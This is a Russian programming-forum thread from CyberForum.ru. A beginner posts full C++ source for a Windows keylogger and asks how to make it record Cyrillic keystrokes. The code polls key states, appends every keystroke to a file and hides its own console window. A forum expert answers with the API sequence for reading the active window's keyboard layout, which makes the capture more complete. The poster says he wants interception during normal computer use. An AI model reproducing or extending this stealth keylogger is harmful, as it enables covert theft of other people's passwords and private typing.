Форум программистов, компьютерный форум CyberForum.ru

С++ для начинающих

Войти
Регистрация
Восстановить пароль
 
Prizrak2016
1 / 1 / 0
Регистрация: 11.03.2016
Сообщений: 49
#1

Keylogger не работает с русской раскладкой - C++

25.04.2016, 08:25. Просмотров 406. Ответов 7
Метки нет (Все метки)

Все привет, для примера в инете нашел исходник кейлоггера, на англ все нормально пишет, а вот если стоит русская раскладка то оно записывает у файл англ символ, как можно сделать чтоб код понимал расскладку клавиатуры?
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#include<iostream>
using namespace std;
#include<windows.h>
#include<winuser.h>
 
int save (int key_stroke, char *file);
void stealth();
int main()
{
    
    stealth();
    char i;
    
    while(1)
    {
            for(i = 8; i <= 190; i++)
            {
                  if (GetAsyncKeyState(i) == -32767)
                  save (i,"probe.txt");
                  }
                  }
                  
                  
    system("PAUSE");
    return 0;
}
/* *********************************************** */
/* *********************************************** */
int save (int key_stroke, char *file)
{
    if ((key_stroke==1)||(key_stroke==2))
    return 0;
    
    FILE *OUTPUT_FILE;
    OUTPUT_FILE = fopen(file, "a+");
    cout<<key_stroke<<"\n";
    
    if (key_stroke==8)
     fprintf(OUTPUT_FILE, "%s" , "(backspace)");
    else if (key_stroke == 13)
     fprintf(OUTPUT_FILE, "%s" , "\n");
    else if (key_stroke == 32)
     fprintf(OUTPUT_FILE, "%s" , " ");
    else if (key_stroke == VK_TAB)
     fprintf(OUTPUT_FILE, "%s" , "(tab)");
    else if (key_stroke == VK_SHIFT)
     fprintf(OUTPUT_FILE, "%s" , "(shift)");
    else if (key_stroke == VK_CONTROL)
     fprintf(OUTPUT_FILE, "%s" , "(control)");
    else if (key_stroke == VK_ESCAPE)
     fprintf(OUTPUT_FILE, "%s" , "(escape)"); 
    else if (key_stroke == VK_END)
     fprintf(OUTPUT_FILE, "%s" , "(end)");
    else if (key_stroke == VK_HOME)
     fprintf(OUTPUT_FILE, "%s" , "(home)");  
    else if (key_stroke == VK_LEFT)
     fprintf(OUTPUT_FILE, "%s" , "(left)");
    else if (key_stroke == VK_UP)
     fprintf(OUTPUT_FILE, "%s" , "(up)"); 
    else if (key_stroke == VK_RIGHT)
     fprintf(OUTPUT_FILE, "%s" , "(right)");
    else if (key_stroke == VK_DOWN)
     fprintf(OUTPUT_FILE, "%s" , "(down)");
    else if (key_stroke == 190 || key_stroke == 110)
     fprintf(OUTPUT_FILE, "%s" , ".");
     else
     fprintf(OUTPUT_FILE, "%s" , &key_stroke);   
    fclose(OUTPUT_FILE);
    return 0;
}
/* *********************************************** */
/* *********************************************** */
void stealth()
{
     HWND stealth;
     AllocConsole();
     stealth = FindWindowA("ConsoleWindowClass", NULL);
     ShowWindow(stealth,0);
     
}
Similar
Эксперт
41792 / 34177 / 6122
Регистрация: 12.04.2006
Сообщений: 57,940
25.04.2016, 08:25     Keylogger не работает с русской раскладкой
Посмотрите здесь:

Теоретический момент по Keylogger на C++ - C++
Есть код, копипастнутый с незначительными изменениями, это простейший Keylogger, есть два вопроса один практический другой теоретический. ...

Ошибка русской локализации? - C++
Функция strtod и русская локализация Так, решил я значит проверить работу функции strtod и запустил такой пример(vs15) Оппс,...

Как получить ASCII русской буквы - C++
Здравствуйте, подскажите как получить код ASCII русской буквы? К примеру std::cout &lt;&lt; static_cast&lt;int&gt;('а') // a-русская буква ...

Вывод даты в русской локализации (Linux) - C++
#include &lt;stdio.h&gt; #include &lt;time.h&gt; int main () { setlocale (LC_TYPE, &quot;ru_RU&quot;); time_t rawtime; struct tm * timeinfo;...

Графический символ ASCII в русской локали (консоль) - C++
Здравствуйте, нужно вывести символ \xB2 (заштрихованный прямоугольник) так все работает, но если объявить setlocale(LC_ALL,&quot;RUS&quot;) ...

Генерация случайных чисел, имитация Русской рулетки - C++
#include &lt;iostream&gt; #include &lt;iomanip&gt; #include &lt;cstdlib&gt; #include &lt;ctime&gt; using namespace std; int main () { ...

Проверить является ли заданная литера гласной русской буквой - C++
Напишите функцию проверяющую, является ли заданная литера гласной русской буквой.(с помощью функции) с++ помогите пожалуйста:cry:

После регистрации реклама в сообщениях будет скрыта и будут доступны все возможности форума.
Убежденный
Системный программист
Эксперт С++
15295 / 6927 / 1096
Регистрация: 02.05.2013
Сообщений: 11,334
Завершенные тесты: 1
25.04.2016, 10:17     Keylogger не работает с русской раскладкой #2
Цитата Сообщение от Prizrak2016 Посмотреть сообщение
как можно сделать чтоб код понимал расскладку клавиатуры?
GetGuiThreadInfo -> GetWindowThreadProcessId -> GetKeyboardLayout
Получишь раскладку клавиатуры активного окна. Далее можно смотреть в
сторону ToUnicodeEx, например, или MapVirtualKeyEx. Или даже переложить
функцию трансляции скан-кодов на систему (TranslateMessage).
При этом подход не будет работать для консольных приложений.
Prizrak2016
1 / 1 / 0
Регистрация: 11.03.2016
Сообщений: 49
25.04.2016, 10:23  [ТС]     Keylogger не работает с русской раскладкой #3
Мне и не нужно для концольных, мне нужен перехват при работе компьютера

Добавлено через 52 секунды
GetGuiThreadInfo -> GetWindowThreadProcessId -> GetKeyboardLayout
Получишь раскладку клавиатуры активного окна. Далее можно смотреть в
сторону ToUnicodeEx, например, или MapVirtualKeyEx. Или даже переложить
функцию трансляции скан-кодов на систему (TranslateMessage).
При этом подход не будет работать для консольных приложений.


Можешь пожалуйста привети пример как получиьть раскладку клавиатуры, а то не совсем понял
Убежденный
Системный программист
Эксперт С++
15295 / 6927 / 1096
Регистрация: 02.05.2013
Сообщений: 11,334
Завершенные тесты: 1
25.04.2016, 11:40     Keylogger не работает с русской раскладкой #4
Цитата Сообщение от Prizrak2016 Посмотреть сообщение
как получиьть раскладку клавиатуры
Раскладка клавиатуры устанавливается отдельно для потока.
То есть, тебе нужно сначала узнать поток, обслуживающий активное на данный
момент окно. HWND активного в данный момент окна можно узнать с помощью
GetGUIThreadInfo. Далее нужно по этому HWND узнать ID потока, для этого
делается вызов GetWindowThreadProcessId. Теперь у тебя есть ID потока.
Ну а дальше - GetKeyboardLayout. На выходе у тебя будет идентификатор клавиатурной
раскладки для активного окна. Что делать с ним дальше - зависит от устройства кейлоггера.
Prizrak2016
1 / 1 / 0
Регистрация: 11.03.2016
Сообщений: 49
25.04.2016, 16:01  [ТС]     Keylogger не работает с русской раскладкой #5
Получаеться что эти метлды просто нужно вывзвать в мейне?
notemac
27 / 27 / 4
Регистрация: 13.09.2014
Сообщений: 137
12.12.2016, 23:58     Keylogger не работает с русской раскладкой #6
DELETE
Prizrak2016
1 / 1 / 0
Регистрация: 11.03.2016
Сообщений: 49
13.12.2016, 00:48  [ТС]     Keylogger не работает с русской раскладкой #7
Что DELETE?
MoreAnswers
Эксперт
37091 / 29110 / 5898
Регистрация: 17.06.2006
Сообщений: 43,301
13.12.2016, 16:27     Keylogger не работает с русской раскладкой
Еще ссылки по теме:

Функция strlen() на русской раскладке считает один символ за 2 - C++
Объясните пожалуйста почему функция &quot;strlen()&quot; считает очень странным образом пишешь Английскими буквами считает правильно, перехожу на...

В тексте найти количество слов, начинающихся и заканчивающихся гласной русской буквой - C++
буду очень благодарен за помощь!

Подсчитать число появлений в строке каждой строчной русской буквы - прокомментировать код - C++
Дан текстовый файл.Подсчитать число появлений в ней каждой строчной (то есть маленькой) русской буквы и создать строковый файл,...

Проверить наличие в тексте одного из знаков разделителей (“.” , ”?”, ”!”) перед каждой большой русской буквой - C++
Помогите пожалуйста. Проверить наличие в тексте одного из знаков разделителей (“.” , ”?”, ”!”) перед каждой большой русской буквой.

Для заданного в файле текста проверить, является ли каждая его литера гласной русской буквой - C++
Для заданного в файле текста проверить, является ли каждая его литера гласной русской буквой. Результат записать в другой файл в виде...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
notemac
27 / 27 / 4
Регистрация: 13.09.2014
Сообщений: 137
13.12.2016, 16:27     Keylogger не работает с русской раскладкой #8
Prizrak2016, пример keylogger'a, работающего с русской раскладкой Keylogger, неопределенное поведение, undefined behaviour
Yandex
Объявления
13.12.2016, 16:27     Keylogger не работает с русской раскладкой
Ответ Создать тему
Опции темы

КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin® Version 3.8.9
Copyright ©2000 - 2017, vBulletin Solutions, Inc.
Рейтинг@Mail.ru